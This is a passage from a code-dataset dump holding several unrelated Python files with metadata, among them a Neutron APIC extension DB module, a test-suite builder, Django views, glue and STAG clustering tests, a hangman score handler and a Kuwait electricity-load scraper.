sa.Column(sa.Boolean)\n subnet = orm.relationship(models_v2.Subnet,\n backref=orm.backref(\n 'aim_extension_mapping', lazy='joined',\n uselist=False, cascade='delete'))\n\n\nclass RouterExtensionContractDb(model_base.BASEV2):\n\n __tablename__ = 'apic_aim_router_external_contracts'\n\n router_id = sa.Column(\n sa.String(36), sa.ForeignKey('routers.id', ondelete=\"CASCADE\"),\n primary_key=True)\n contract_name = sa.Column(sa.String(64), primary_key=True)\n provides = sa.Column(sa.Boolean, primary_key=True)\n\n\nclass ExtensionDbMixin(object):\n\n def _set_if_not_none(self, res_dict, res_attr, db_attr):\n if db_attr is not None:\n res_dict[res_attr] = db_attr\n\n def get_network_extn_db(self, session, network_id):\n return self.get_network_extn_db_bulk(session, [network_id]).get(\n network_id, {})\n\n def get_network_extn_db_bulk(self, session, network_ids):\n db_objs = (session.query(NetworkExtensionDb).filter(\n NetworkExtensionDb.network_id.in_(network_ids)).all())\n db_cidrs = (session.query(NetworkExtensionCidrDb).filter(\n NetworkExtensionCidrDb.network_id.in_(network_ids)).all())\n db_vlans = (session.query(\n NetworkExtNestedDomainAllowedVlansDb).filter(\n NetworkExtNestedDomainAllowedVlansDb.network_id.in_(\n network_ids)).all())\n cidrs_by_net_id = {}\n vlans_by_net_id = {}\n for db_cidr in db_cidrs:\n cidrs_by_net_id.setdefault(db_cidr.network_id, []).append(\n db_cidr)\n for db_vlan in db_vlans:\n vlans_by_net_id.setdefault(db_vlan.network_id, []).append(\n db_vlan)\n result = {}\n for db_obj in db_objs:\n net_id = db_obj.network_id\n result.setdefault(net_id, self.make_network_extn_db_conf_dict(\n db_obj, cidrs_by_net_id.get(net_id, []),\n vlans_by_net_id.get(net_id, [])))\n return result\n\n def make_network_extn_db_conf_dict(self, ext_db, db_cidrs, db_vlans):\n net_res = {}\n db_obj = ext_db\n if db_obj:\n self._set_if_not_none(net_res, cisco_apic.EXTERNAL_NETWORK,\n db_obj['external_network_dn'])\n self._set_if_not_none(net_res, cisco_apic.NAT_TYPE,\n db_obj['nat_type'])\n self._set_if_not_none(net_res, cisco_apic.SVI, db_obj['svi'])\n net_res[cisco_apic.BGP] = db_obj['bgp_enable']\n net_res[cisco_apic.BGP_TYPE] = db_obj['bgp_type']\n net_res[cisco_apic.BGP_ASN] = db_obj['bgp_asn']\n net_res[cisco_apic.NESTED_DOMAIN_NAME] = (\n db_obj['nested_domain_name'])\n net_res[cisco_apic.NESTED_DOMAIN_TYPE] = (\n db_obj['nested_domain_type'])\n net_res[cisco_apic.NESTED_DOMAIN_INFRA_VLAN] = (\n db_obj['nested_domain_infra_vlan'])\n net_res[cisco_apic.NESTED_DOMAIN_SERVICE_VLAN] = (\n db_obj['nested_domain_service_vlan'])\n net_res[cisco_apic.NESTED_DOMAIN_NODE_NETWORK_VLAN] = (\n db_obj['nested_domain_node_network_vlan'])\n net_res[cisco_apic.NESTED_DOMAIN_ALLOWED_VLANS] = [\n c.vlan for c in db_vlans]\n if net_res.get(cisco_apic.EXTERNAL_NETWORK):\n net_res[cisco_apic.EXTERNAL_CIDRS] = [c.cidr for c in db_cidrs]\n return net_res\n\n def set_network_extn_db(self, session, network_id, res_dict):\n with session.begin(subtransactions=True):\n db_obj = (session.query(NetworkExtensionDb).filter_by(\n network_id=network_id).first())\n db_obj = db_obj or NetworkExtensionDb(network_id=network_id)\n if cisco_apic.EXTERNAL_NETWORK in res_dict:\n db_obj['external_network_dn'] = (\n res_dict[cisco_apic.EXTERNAL_NETWORK])\n if cisco_apic.NAT_TYPE in res_dict:\n db_obj['nat_type'] = res_dict[cisco_apic.NAT_TYPE]\n if cisco_apic.SVI in res_dict:\n db_obj['svi'] = res_dict[cisco_apic.SVI]\n if cisco_apic.BGP in res_dict:\n db_obj['bgp_enable'] = res_dict[cisco_apic.BGP]\n if cisco_apic.BGP_TYPE in res_dict:\n db_obj['bgp_type'] = res_dict[cisco_apic.BGP_TYPE]\n if cisco_apic.BGP_ASN in res_dict:\n db_obj['bgp_asn'] = res_dict[cisco_apic.BGP_ASN]\n if cisco_apic.NESTED_DOMAIN_NAME in res_dict:\n db_obj['nested_domain_name'] = res_dict[\n cisco_apic.NESTED_DOMAIN_NAME]\n if cisco_apic.NESTED_DOMAIN_TYPE in res_dict:\n db_obj['nested_domain_type'] = res_dict[\n cisco_apic.NESTED_DOMAIN_TYPE]\n if cisco_apic.NESTED_DOMAIN_INFRA_VLAN in res_dict:\n db_obj['nested_domain_infra_vlan'] = res_dict[\n cisco_apic.NESTED_DOMAIN_INFRA_VLAN]\n if cisco_apic.NESTED_DOMAIN_SERVICE_VLAN in res_dict:\n db_obj['nested_domain_service_vlan'] = res_dict[\n cisco_apic.NESTED_DOMAIN_SERVICE_VLAN]\n if cisco_apic.NESTED_DOMAIN_NODE_NETWORK_VLAN in res_dict:\n db_obj['nested_domain_node_network_vlan'] = res_dict[\n cisco_apic.NESTED_DOMAIN_NODE_NETWORK_VLAN]\n session.add(db_obj)\n\n if cisco_apic.EXTERNAL_CIDRS in res_dict:\n self._update_list_attr(session, NetworkExtensionCidrDb, 'cidr',\n res_dict[cisco_apic.EXTERNAL_CIDRS],\n network_id=network_id)\n\n if cisco_apic.NESTED_DOMAIN_ALLOWED_VLANS in res_dict:\n self._update_list_attr(\n session, NetworkExtNestedDomainAllowedVlansDb, 'vlan',\n res_dict[cisco_apic.NESTED_DOMAIN_ALLOWED_VLANS],\n network_id=network_id)\n\n def get_network_ids_by_ext_net_dn(self, session, dn, lock_update=False):\n ids = session.query(NetworkExtensionDb.network_id).filter_by(\n external_network_dn=dn)\n if lock_update:\n ids = ids.with_lockmode('update')\n return [i[0] for i in ids]\n\n def get_network_ids_by_l3out_dn(self, session, dn, lock_update=False):\n ids = session.query(NetworkExtensionDb.network_id).filter(\n NetworkExtensionDb.external_network_dn.like(dn + \"/%\"))\n if lock_update:\n ids = ids.with_lockmode('update')\n return [i[0] for i in ids]\n\n def get_svi_network_ids_by_l3out_dn(self, session, dn, lock_update=False):\n ids = session.query(NetworkExtensionDb.network_id).filter(\n NetworkExtensionDb.external_network_dn.like(dn + \"/%\"),\n NetworkExtensionDb.svi == true())\n if lock_update:\n ids = ids.with_lockmode('update')\n return [i[0] for i in ids]\n\n def get_external_cidrs_by_ext_net_dn(self, session, dn, lock_update=False):\n ctab = NetworkExtensionCidrDb\n ntab = NetworkExtensionDb\n cidrs = session.query(ctab.cidr).join(\n ntab, ntab.network_id == ctab.network_id).filter(\n ntab.external_network_dn == dn).distinct()\n if lock_update:\n cidrs = cidrs.with_lockmode('update')\n return [c[0] for c in cidrs]\n\n def get_subnet_extn_db(self, session, subnet_id):\n db_obj = (session.query(SubnetExtensionDb).filter_by(\n subnet_id=subnet_id).first())\n result = {}\n if db_obj:\n self._set_if_not_none(result, cisco_apic.SNAT_HOST_POOL,\n db_obj['snat_host_pool'])\n return result\n\n def set_subnet_extn_db(self, session, subnet_id, res_dict):\n db_obj = (session.query(SubnetExtensionDb).filter_by(\n subnet_id=subnet_id).first())\n db_obj = db_obj or SubnetExtensionDb(subnet_id=subnet_id)\n if cisco_apic.SNAT_HOST_POOL in res_dict:\n db_obj['snat_host_pool'] = res_dict[cisco_apic.SNAT_HOST_POOL]\n session.add(db_obj)\n\n def get_router_extn_db(self, session, router_id):\n db_contracts = (session.query(RouterExtensionContractDb).filter_by(\n router_id=router_id).all())\n return {cisco_apic_l3.EXTERNAL_PROVIDED_CONTRACTS:\n [c['contract_name'] for c in db_contracts if c['provides']],\n cisco_apic_l3.EXTERNAL_CONSUMED_CONTRACTS:\n [c['contract_name'] for c in db_contracts\n if not c['provides']]}\n\n def _update_list_attr(self, session, db_model, column,\n new_values, **filters):\n if new_values is None:\n return\n rows = session.query(db_model).filter_by(**filters).all()\n new_values = set(new_values)\n for r in rows:\n if r[column] in new_values:\n new_values.discard(r[column])\n else:\n session.delete(r)\n for v in new_values:\n attr = {column: v}\n attr.update(filters)\n db_obj = db_model(**attr)\n session.add(db_obj)\n\n def set_router_extn_db(self, session, router_id, res_dict):\n with session.begin(subtransactions=True):\n if cisco_apic_l3.EXTERNAL_PROVIDED_CONTRACTS in res_dict:\n self._update_list_attr(session, RouterExtensionContractDb,\n 'contract_name',\n res_dict[cisco_apic_l3.EXTERNAL_PROVIDED_CONTRACTS],\n router_id=router_id, provides=True)\n if cisco_apic_l3.EXTERNAL_CONSUMED_CONTRACTS in res_dict:\n self._update_list_attr(session, RouterExtensionContractDb,\n 'contract_name',\n res_dict[cisco_apic_l3.EXTERNAL_CONSUMED_CONTRACTS],\n router_id=router_id, provides=False)\n","sub_path":"gbpservice/neutron/plugins/ml2plus/drivers/apic_aim/extension_db.py","file_name":"extension_db.py","file_ext":"py","file_size_in_byte":13659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"141282088","text":"\nfrom optoolbox import OpLog\nlogger = OpLog.getLogger('optest')\n\nfrom optoolbox import OpUtil\nimport TestSuite # The module, not the class...\nfrom Execution import Execution, ExecutionInfo\nfrom ExecutionSorting import ExecutionSorting\n\n_ID = 0\n\nINITIALIZE_EXECUTION_PRIORITY = -100001\nCLEANUP_EXECUTION_PRIORITY = 100001\n\ndef dummyFct():\n pass\n\nclass BaseMode:\n '''Base class for any execution mode'''\n\n def __init__(self, *args):\n self.executionList = []\n self.prepareExecutionList(*args)\n \n \n def prepareExecutionList(self, *args):\n global _ID\n \n tmpExecutionList = OpUtil.convertArgsToList(*args)\n if len(tmpExecutionList)==0:\n tmpExecutionList.append(Execution(''))\n \n for execution in tmpExecutionList:\n if execution.name:\n executionName = execution.name\n else:\n executionName = ''\n \n tReq = execution.getTargetPrerequisites()\n mReq = execution.getMatlabPrerequisites()\n dataSets = execution.getDataSets()\n \n # Note: A single test can have 0..n targets, so we pass the whole target dict to each test\n # Note: A single test can have 0..1 Matlab, so we pass a different Matlab (item in dict) to each test.\n # Note: A single test can have 0..1 dataSet, so we pass a different dataSet to each test.\n\n if len(mReq) == 0:\n if(len(dataSets) == 0):\n self.executionList.append(ExecutionInfo(_ID, execution.platform, execution.valid, executionName, tReq, None, None))\n _ID = _ID + 1\n else:\n for dataSetName, data in dataSets.iteritems():\n tmpName2 = \"{0}_{1}\".format(executionName, dataSetName)\n self.executionList.append(ExecutionInfo(_ID, execution.platform, execution.valid, tmpName2, tReq, None, data))\n _ID = _ID + 1\n else:\n for mReqName, req in mReq.iteritems():\n tmpName = \"{0}_{1}\".format(executionName, mReqName)\n if(len(dataSets) == 0):\n self.executionList.append(ExecutionInfo(_ID, execution.platform, execution.valid, tmpName, tReq, req, None))\n _ID = _ID + 1\n else:\n for dataSetName, data in dataSets.iteritems():\n tmpName2 = \"{0}_{1}\".format(tmpName, dataSetName)\n self.executionList.append(ExecutionInfo(_ID, execution.platform, execution.valid, tmpName2, tReq, req, data))\n _ID = _ID + 1\n \n\n def getExecutionList(self):\n return self.executionList\n \n \n def _createExecutionTestSuite(self, testCaseClass, testCaseNames, useInitCleanupExecutionMethod):\n '''\n Create a TestSuite and all TestCase instances for all the ExecutionInfo in the executionList attribute.\n Will create pseudo test if initializeExecution or cleanupExecution is used.\n '''\n\n # This import is not done at the module level because it would result in a circular dependency between TestCase and BaseMode.\n from TestCase import _getConfig, generateConfigKey\n\n testSuite = TestSuite.TestSuite(name=testCaseClass.__name__)\n \n for executionInfo in self.executionList:\n for testName in testCaseNames:\n \n # Determine if a loop on the test is set in the testConfig. If it is, then we must instantiate\n # Multiple TestCase instance.\n doLoopTest = False\n testConfigKey = generateConfigKey(testCaseClass.__module__, testCaseClass.__name__, testName)\n testConfig = _getConfig(testConfigKey)\n if(testConfig is not None):\n if 'loop' in testConfig:\n nbLoop = testConfig['loop']\n if nbLoop is not None and nbLoop > 1:\n doLoopTest = True\n\n if doLoopTest:\n for indexLoop in range(nbLoop):\n test = self._defineTest(testName, testCaseClass, executionInfo, indexLoop)\n testSuite.addTest(test)\n else:\n test = self._defineTest(testName, testCaseClass, executionInfo)\n testSuite.addTest(test)\n \n if useInitCleanupExecutionMethod:\n for executionInfo in self.executionList:\n if hasattr(testCaseClass, 'initializeExecution'):\n test = self._defineTest('initializeExecution', testCaseClass, executionInfo)\n test.setPriority(INITIALIZE_EXECUTION_PRIORITY)\n test.setUp = dummyFct\n test.tearDown = dummyFct\n testSuite.addTest(test)\n\n if hasattr(testCaseClass, 'cleanupExecution'):\n test = self._defineTest('cleanupExecution', testCaseClass, executionInfo)\n test.setPriority(CLEANUP_EXECUTION_PRIORITY)\n test.setUp = dummyFct\n test.tearDown = dummyFct\n testSuite.addTest(test)\n\n if self.sorting is not None:\n if self.sorting == ExecutionSorting.BY_EXECUTION_LIST:\n testSuite.sortMethod.items[10] = TestSuite.executionCmp\n elif self.sorting == ExecutionSorting.BY_TESTCASE_PRIORITY:\n testSuite.sortMethod.items[1000] = TestSuite.executionCmp\n else:\n raise Exception('No supported sorting value.')\n\n return testSuite\n\n\n def _defineTest(self, name, testCaseClass, executionInfo, indexLoop=None):\n '''Defines a single test with its prerequisites, if any.'''\n test = testCaseClass(name)\n\n if executionInfo:\n for targetName, target in executionInfo.tReq.iteritems():\n test._addTarget(targetName, target)\n \n test.dataSet = executionInfo.dataSet\n \n test.matlab = executionInfo.mReq\n\n test.executionName = executionInfo.name\n if indexLoop is not None:\n test.executionName = \"{0} LOOP {1}\".format(test.executionName, indexLoop+1)\n\n test.executionID = executionInfo.id\n\n test.executionValid = executionInfo.valid\n\n test.platform = executionInfo.platform\n\n logger.debug(\"Test instance %s created.\", test.getFullname())\n\n return test\n\n\n def _defineClassMethod(self, testSuite, testCaseClass):\n '''Create pseudo test if initialize or cleanup is used'''\n\n if hasattr(testCaseClass, 'initialize'):\n test = self._defineTest('initialize', testCaseClass, None)\n test.systemPriority = 1\n test.setUp = dummyFct\n test.tearDown = dummyFct\n testSuite.addTest(test)\n\n if hasattr(testCaseClass, 'cleanup'):\n test = self._defineTest('cleanup', testCaseClass, None)\n test.systemPriority = -1\n test.setUp = dummyFct\n test.tearDown = dummyFct\n testSuite.addTest(test)\n","sub_path":"src/optoolbox/optest/BaseMode.py","file_name":"BaseMode.py","file_ext":"py","file_size_in_byte":7323,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"616081214","text":"from django.urls import reverse_lazy\nfrom django.shortcuts import render, redirect \nfrom django.contrib.auth.decorators import login_required\n\nfrom django.views.generic import CreateView, FormView\n\nfrom .models import Profile \nfrom .forms import (\n CustomUserCreationForm, \n ProfileUpdateForm, \n CustomUserUpdateForm,\n)\n\n\nclass RegisterView(CreateView):\n form_class = CustomUserCreationForm\n success_url = reverse_lazy('login')\n template_name = 'register.html'\n\n\n@login_required\ndef settings(request):\n if request.method == 'POST':\n user_form = CustomUserUpdateForm(request.POST, instance=request.user)\n profile_form = ProfileUpdateForm(request.POST, request.FILES, instance=request.user.profile)\n if user_form.is_valid() and profile_form.is_valid():\n user_form.save()\n profile_form.save()\n return redirect('twitter')\n else:\n user_form = CustomUserUpdateForm(instance=request.user)\n profile_form = ProfileUpdateForm(instance=request.user.profile)\n\n context = {'user_form': user_form, 'profile_form': profile_form}\n return render(request, 'profile_update.html', context)","sub_path":"users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1167,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"536043063","text":"from __future__ import absolute_import, division, print_function\n\nimport os\nimport pytest\nfrom mock import patch\n\nfrom glue.tests.helpers import requires_qt\n\nfrom ..core import Data\nfrom ..main import (die_on_error, restore_session, load_data_files,\n main, start_glue)\n\n\n@requires_qt\ndef test_die_on_error_exception():\n \"\"\"Decorator should spawn a QMessageBox and exit\"\"\"\n with pytest.raises(SystemExit):\n with patch('qtpy.QtWidgets.QMessageBox') as qmb:\n @die_on_error('test_msg')\n def test():\n raise Exception()\n test()\n assert qmb.call_count == 1\n\n\ndef test_die_on_error_noexception():\n \"\"\"Decorator should have no effect\"\"\"\n @die_on_error('test_msg')\n def test():\n return 0\n assert test() == 0\n\n\ndef test_load_data_files():\n with patch('glue.core.data_factories.load_data') as ld:\n ld.return_value = Data()\n dc = load_data_files(['test.py'])\n assert len(dc) == 1\n\n\ndef check_main(cmd, glue, config, data):\n \"\"\"Pass command to main program, check for expected parsing\"\"\"\n with patch('glue.main.start_glue') as sg:\n main(cmd.split())\n args, kwargs = sg.call_args\n assert kwargs.get('datafiles', None) == data\n assert kwargs.get('gluefile', None) == glue\n assert kwargs.get('config', None) == config\n\n\ndef check_exec(cmd, pyfile):\n \"\"\"Assert that main correctly dispatches to execute_script\"\"\"\n with patch('glue.main.execute_script') as es:\n main(cmd.split())\n args, kwargs = es.call_args\n assert args[0] == pyfile\n\n\ndef test_main_single_data():\n check_main('glueqt test.fits', None, None, ['test.fits'])\n\n\ndef test_main_multi_data():\n check_main('glueqt test.fits t2.csv', None, None, ['test.fits', 't2.csv'])\n\n\ndef test_main_config():\n check_main('glueqt -c config.py', None, 'config.py', None)\n\n\ndef test_main_glu_arg():\n check_main('glueqt -g test.glu', 'test.glu', None, None)\n\n\ndef test_main_auto_glu():\n check_main('glueqt test.glu', 'test.glu', None, None)\n\n\ndef test_main_many_args():\n check_main('glueqt -c config.py data.fits d2.csv', None,\n 'config.py', ['data.fits', 'd2.csv'])\n\n\ndef test_exec():\n check_exec('glueqt -x test.py', 'test.py')\n\n\ndef test_auto_exec():\n check_exec('glueqt test.py', 'test.py')\n\n\n@requires_qt\ndef test_exec_real(tmpdir):\n # Actually test the script execution functionlity\n filename = tmpdir.join('test.py').strpath\n with open(filename, 'w') as f:\n f.write('a = 1')\n with patch('qtpy.QtWidgets.QMessageBox') as qmb:\n with patch('sys.exit') as exit:\n main('glue -x {0}'.format(os.path.abspath(filename)).split())\n assert exit.called_once_with(0)\n\n\n@pytest.mark.parametrize(('cmd'), ['glueqt -g test.glu test.fits',\n 'glueqt -g test.py test.fits',\n 'glueqt -x test.py -g test.glu',\n 'glueqt -x test.py -c test.py',\n 'glueqt -x',\n 'glueqt -g',\n 'glueqt -c'])\ndef test_invalid(cmd):\n with pytest.raises(SystemExit):\n main(cmd.split())\n\n\n@requires_qt\n@pytest.mark.parametrize(('glue', 'config', 'data'),\n [('test.glu', None, None),\n (None, 'test.py', None),\n (None, None, ['test.fits']),\n (None, None, ['a.fits', 'b.fits']),\n (None, 'test.py', ['a.fits'])])\ndef test_start(glue, config, data):\n with patch('glue.main.restore_session') as rs:\n with patch('glue.config.load_configuration') as lc:\n with patch('glue.main.load_data_files') as ldf:\n with patch('glue.app.qt.GlueApplication') as ga:\n with patch('qtpy.QtWidgets') as qt:\n\n rs.return_value = ga\n ldf.return_value = Data()\n\n start_glue(glue, config, data)\n if glue:\n rs.assert_called_once_with(glue)\n if config:\n lc.assert_called_once_with(search_path=[config])\n if data:\n ldf.assert_called_once_with(data)\n","sub_path":"glue/tests/test_main.py","file_name":"test_main.py","file_ext":"py","file_size_in_byte":4393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"548393275","text":"import random\n\n\n''' The basic idea of calculating the final score:\n wordLength x 2 - strikes '''\n\n\ndef calculateScore(rightAnswer, strikes):\n print(\"Calculating the score\")\n totalScore = (len(rightAnswer) * 2) - strikes\n return totalScore\n\n\ndef saveTotalScore(isFriendGame, playerName, totalScore, rightAnswer):\n print(\"Saving total score\")\n # This is how you are and read txt-files\n if (isFriendGame):\n hScoreList = open('highScoresFriend.txt', 'a')\n hScoreList.write(\n \"player_name:\" + playerName + \"%total_score:\" + str(\n totalScore) + \"%guessed_word:\" + rightAnswer + \"%\" + \"\\n\")\n hScoreList.close() # you can omit in most cases as the destructor will call if\n else:\n hScoreList = open('highScoresUniverse.txt', 'a')\n hScoreList.write(\"player_name:\" + playerName + \"%total_score:\" + str(\n totalScore) + \"%guessed_word:\" + rightAnswer + \"%\" + \"\\n\")\n hScoreList.close() # you can omit in most cases as the destructor will call if\n\n\n # f = open('test.txt', 'r')\n # content = f.readlines()\n # f.close() # you can omit in most cases as the destructor will call if\n # print(\"TXT FILE CONTENT\")\n # print(content)'\n\n\ndef readAndRankHighScores(gameMode):\n if (gameMode == \"friend\"):\n scoreList = open('highScoresFriend.txt').read().splitlines()\n randomRow = random.choice(scoreList).upper()\n return randomRow\n else:\n scoreList = open('highScoresUniverse.txt').read().splitlines()\n randomRow = random.choice(scoreList).upper()\n return randomRow\n\n\ndef getAllScores(gameMode):\n if (gameMode == \"friend\"):\n scoreList = open('highScoresFriend.txt').read().splitlines()\n else:\n scoreList = open('highScoresUniverse.txt').read().splitlines()\n\n allColonsList = []\n allPercentsList = []\n\n # STOP if there are no records of high scores\n if (scoreList):\n # Lets find all \":\" indeces and put them into a list\n for s in scoreList:\n allColonsList.append(list(find_all(s, \":\")))\n\n # Lets find all \"%\" indeces and put them into a list\n for s in scoreList:\n allPercentsList.append(list(find_all(s, \"%\")))\n\n # Lets find all correct values (name, score, word) and put them into a list\n rowValuesList = []\n scoreListRowCounter = 0\n for s in scoreList:\n colonRowCounter = 0\n colons = allColonsList[scoreListRowCounter]\n percents = allPercentsList[scoreListRowCounter]\n valuesList = []\n for i in colons:\n colonItem = colons[colonRowCounter]\n percentItem = percents[colonRowCounter]\n value = s[colonItem + 1:percentItem]\n valuesList.append(value)\n colonRowCounter += 1\n\n rowValuesList.append(valuesList)\n scoreListRowCounter += 1\n\n # Now the values are there correctly, now the list needs to be sorted by score\n rowValuesList = sorted(rowValuesList, key=lambda x: int(x[1]), reverse=True)\n return rowValuesList\n\n\ndef find_all(a_str, sub):\n start = 0\n while True:\n start = a_str.find(sub, start)\n if start == -1: return\n yield start\n start += len(sub) # use start += 1 to find overlapping matches","sub_path":"HangScores.py","file_name":"HangScores.py","file_ext":"py","file_size_in_byte":3380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} diff --git a/4115.jsonl b/4115.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/4117.jsonl b/4117.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..c4892ec287397d98863e97e152d4e3f5c0d956aa --- /dev/null +++ b/4117.jsonl @@ -0,0 +1,1252 @@ +{"seq_id":"40798485267","text":"from . import *\n\nclass Switch(BaseLayer):\n \"\"\"\n Class representing a Switch in Sketch\n \"\"\"\n def parse_elem(self, elem):\n rect = None\n\n for child in elem[\"children\"]:\n if utils.word_in_str(\"bound\", child[\"id\"]):\n rect = child\n\n if rect is None:\n raise Exception(\"Switch: No bound in switch.\")\n\n elem[\"is_on\"] = utils.word_in_str(\"off\", elem[\"id\"])\n elem[\"rect\"] = rect\n return super().parse_elem(elem)\n","repo_name":"pixelcodeio/pixelcode","sub_path":"app/src/pixelcode/plugin/layers/switch.py","file_name":"switch.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"9870293657","text":"#!/usr/bin/env python3\n\"\"\"\nThis parser returns Kuwait's electricity system load (assumed to be equal to electricity production)\nSource: Ministry of Electricity and Water / State of Kuwait\nURL: https://www.mew.gov.kw/en/\nScroll down to see the system load gauge\nShares of Electricity production in 2017: 65.6% oil, 34.4% gas (source: IEA; https://www.iea.org/statistics/?country=KUWAIT&indicator=ElecGenByFuel)\n\"\"\"\n\nimport re\nfrom datetime import datetime\nfrom logging import Logger, getLogger\n\nimport arrow\nfrom requests import Session\n\n\ndef fetch_consumption(\n zone_key: str = \"KW\",\n session: Session | None = None,\n target_datetime: datetime | None = None,\n logger: Logger = getLogger(__name__),\n):\n if target_datetime:\n raise NotImplementedError(\"This parser is not yet able to parse past dates\")\n\n r = session or Session()\n url = \"https://www.mew.gov.kw/en\"\n response = r.get(url)\n load = re.findall(r\"\\((\\d{4,5})\\)\", response.text)\n load = int(load[0])\n consumption = load\n\n datapoint = {\n \"zoneKey\": zone_key,\n \"datetime\": arrow.now(\"Asia/Kuwait\").datetime,\n \"consumption\": consumption,\n \"source\": \"mew.gov.kw\",\n }\n\n return datapoint\n\n\nif __name__ == \"__main__\":\n \"\"\"Main method, never used by the electricityMap backend, but handy for testing.\"\"\"\n\n print(\"fetch_consumption() ->\")\n print(fetch_consumption())\n","repo_name":"electricitymaps/electricitymaps-contrib","sub_path":"parsers/KW.py","file_name":"KW.py","file_ext":"py","file_size_in_byte":1402,"program_lang":"python","lang":"en","doc_type":"code","stars":3126,"dataset":"github-code","pt":"21"} +{"seq_id":"11833786435","text":"##hhh=[1,2,3,4,5,\"abababab\"]\n##print(hhh)\n##for each in hhh:\n## print(each)\n##hhh[1]\n##hhh[-6]\n\n#增\n##heros=[\"ironman\",\"hulk\"]\n##heros.append(\"blackwidow\")#每次放一个\n##heros.extend([\"a\",\"b\",\"c\"])#放一堆\n\ns=[1,2,3,4,5]\ns[len(s):]=[6]\ns[len(s):]=[7,8,9]\nprint(s)\n\n#insert\ns=[1,3,4,5]\ns.insert(1,2)\ns.insert(0,0)\ns.insert(len(s),6)\nprint(s)\n\n#remove\ns.remove(5)\nprint(s)\n\ns.pop(5)\ns.clear()\nprint(s)\n","repo_name":"RINONIN/mangshe","sub_path":"foundation/character_.py","file_name":"character_.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"26489950160","text":"\"\"\"Tests for the clustering algorithms.\"\"\"\nimport scipy.sparse\nimport pytest\nimport numpy as np\nfrom context import stag\nimport stag.graph\nimport stag.cluster\nimport stag.random\nimport stag.utility\n\n# Define the adjacency matrices of some useful graphs.\nC4_ADJ_MAT = scipy.sparse.csc_matrix([[0, 1, 0, 1], [1, 0, 1, 0], [0, 1, 0, 1], [1, 0, 1, 0]])\nK6_ADJ_MAT = scipy.sparse.csc_matrix([[0, 1, 1, 1, 1, 1], [1, 0, 1, 1, 1, 1], [1, 1, 0, 1, 1, 1],\n [1, 1, 1, 0, 1, 1], [1, 1, 1, 1, 0, 1], [1, 1, 1, 1, 1, 0]])\nBARBELL5_ADJ_MAT = scipy.sparse.csc_matrix([[0, 1, 1, 1, 1, 0, 0, 0, 0, 0],\n [1, 0, 1, 1, 1, 0, 0, 0, 0, 0],\n [1, 1, 0, 1, 1, 0, 0, 0, 0, 0],\n [1, 1, 1, 0, 1, 0, 0, 0, 0, 0],\n [1, 1, 1, 1, 0, 1, 0, 0, 0, 0],\n [0, 0, 0, 0, 1, 0, 1, 1, 1, 1],\n [0, 0, 0, 0, 0, 1, 0, 1, 1, 1],\n [0, 0, 0, 0, 0, 1, 1, 0, 1, 1],\n [0, 0, 0, 0, 0, 1, 1, 1, 0, 1],\n [0, 0, 0, 0, 0, 1, 1, 1, 1, 0],\n ])\n\ndef test_spectral_clustering():\n graph = stag.graph.barbell_graph(10)\n labels = stag.cluster.spectral_cluster(graph, 2)\n gt_labels = stag.random.sbm_gt_labels(20, 2)\n assert stag.cluster.adjusted_rand_index(gt_labels, labels) == 1\n\n\ndef test_cheeger_cut():\n graph = stag.graph.barbell_graph(10)\n labels = stag.cluster.cheeger_cut(graph)\n gt_labels = stag.random.sbm_gt_labels(20, 2)\n assert stag.cluster.adjusted_rand_index(gt_labels, labels) == 1\n\n\ndef test_default_local_clustering():\n # Construct a graph object with the barbell adjacency matrix\n graph = stag.graph.Graph(BARBELL5_ADJ_MAT)\n\n # Find a local cluster near the first vertex\n cluster = stag.cluster.local_cluster(graph, 1, 21)\n\n # Assert that the correct clusters have been found.\n assert (set(cluster) == {0, 1, 2, 3, 4})\n\n\ndef test_local_clustering_float_weight():\n # Construct a graph object with the barbell adjacency matrix\n graph = stag.graph.Graph(BARBELL5_ADJ_MAT)\n\n # Find a local cluster near the first vertex\n cluster = stag.cluster.local_cluster(graph, 1, 20.23)\n\n # Assert that the correct clusters have been found.\n assert (set(cluster) == {0, 1, 2, 3, 4})\n\n\ndef test_acl_local_clustering():\n # Construct a graph object with a well-defined cluster structure\n graph = stag.graph.barbell_graph(10)\n\n # Run the acl clustering method\n cluster = stag.cluster.local_cluster_acl(graph, 0, 0.9, 0.0001)\n\n # Check that we found one of the clusters\n expected_cluster = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9}\n\n assert set(cluster) == expected_cluster\n\n\ndef test_approximate_pagerank():\n # For easier manual verification, we use a cycle graph with 0.5 weights on the edges\n adj = 0.5 * stag.graph.cycle_graph(4).adjacency()\n graph = stag.graph.Graph(adj)\n\n # Construct seed matrix.\n s = stag.utility.SprsMat([[1, 0, 0, 0]]).transpose()\n\n # Run the personalised pagerank and check that we get the right result\n p, r = stag.cluster.approximate_pagerank(graph, s, 1./3, 1./8)\n expected_p = [41./81, 2./27, 0, 2./27]\n expected_r = [5./81, 2./27 + 5./162, 2./27, 2./27 + 5./162]\n np.testing.assert_almost_equal(p.to_dense().transpose().tolist()[0], expected_p)\n np.testing.assert_almost_equal(r.to_dense().transpose().tolist()[0], expected_r)\n\n\ndef test_approximate_pagerank_no_push():\n # Test the behaviour of the approximate pagerank method when there is no\n # push operation.\n graph = 3 * stag.graph.cycle_graph(4)\n\n # Construct seed matrix.\n s = scipy.sparse.lil_matrix((1, 1))\n s[0, 0] = 1\n\n # Run the personalised pagerank and check that we get the right result\n p, r = stag.cluster.approximate_pagerank(graph, s.tocsc(), 1./3, 1./2)\n expected_p = [0]\n expected_r = [1]\n np.testing.assert_almost_equal(p.to_dense().transpose().tolist()[0], expected_p)\n np.testing.assert_almost_equal(r.to_dense().transpose().tolist()[0], expected_r)\n\n\ndef 